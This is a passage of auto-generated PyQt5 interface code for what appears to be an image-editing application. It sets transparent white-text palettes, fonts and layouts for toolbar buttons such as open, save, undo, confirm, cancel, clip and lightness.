QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_open.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_open.setFont(font) self.btn_open.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_open.setObjectName("btn_open") self.horizontalLayout_3.addWidget(self.btn_open) self.btn_save = QtWidgets.QToolButton(self.operation) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_save.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_save.setFont(font) self.btn_save.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_save.setObjectName("btn_save") self.horizontalLayout_3.addWidget(self.btn_save) self.btn_undo = QtWidgets.QToolButton(self.operation) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_undo.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_undo.setFont(font) self.btn_undo.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_undo.setObjectName("btn_undo") self.horizontalLayout_3.addWidget(self.btn_undo) self.horizontalLayout_4.addWidget(self.operation) spacerItem = QtWidgets.QSpacerItem(100, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_4.addItem(spacerItem) self.control = QtWidgets.QFrame(self.title) self.control.setMinimumSize(QtCore.QSize(0, 45)) self.control.setMaximumSize(QtCore.QSize(120, 45)) self.control.setFrameShape(QtWidgets.QFrame.StyledPanel) self.control.setFrameShadow(QtWidgets.QFrame.Raised) self.control.setObjectName("control") self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.control) self.horizontalLayout_2.setObjectName("horizontalLayout_2") self.btn_confirm = QtWidgets.QToolButton(self.control) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_confirm.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_confirm.setFont(font) self.btn_confirm.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_confirm.setObjectName("btn_confirm") self.horizontalLayout_2.addWidget(self.btn_confirm) self.btn_cancel = QtWidgets.QToolButton(self.control) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_cancel.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_cancel.setFont(font) self.btn_cancel.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_cancel.setObjectName("btn_cancel") self.horizontalLayout_2.addWidget(self.btn_cancel) self.horizontalLayout_4.addWidget(self.control) self.verticalLayout_3.addWidget(self.title) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setSpacing(0) self.horizontalLayout.setObjectName("horizontalLayout") self.frame_4 = QtWidgets.QFrame(self.centralwidget) self.frame_4.setMinimumSize(QtCore.QSize(90, 0)) self.frame_4.setMaximumSize(QtCore.QSize(90, 16777215)) self.frame_4.setStyleSheet("background: rgb(51, 51, 51)") self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName("frame_4") self.frame_5 = QtWidgets.QFrame(self.frame_4) self.frame_5.setGeometry(QtCore.QRect(10, 0, 56, 500)) self.frame_5.setMinimumSize(QtCore.QSize(0, 500)) self.frame_5.setMaximumSize(QtCore.QSize(16777215, 500)) self.frame_5.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_5.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_5.setObjectName("frame_5") self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.frame_5) self.verticalLayout_2.setObjectName("verticalLayout_2") self.btn_clip = QtWidgets.QPushButton(self.frame_5) self.btn_clip.setMinimumSize(QtCore.QSize(50, 0)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_clip.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_clip.setFont(font) self.btn_clip.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_clip.setObjectName("btn_clip") self.verticalLayout_2.addWidget(self.btn_clip) self.btn_lightness = QtWidgets.QToolButton(self.frame_5) self.btn_lightness.setMinimumSize(QtCore.QSize(50, 0)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = 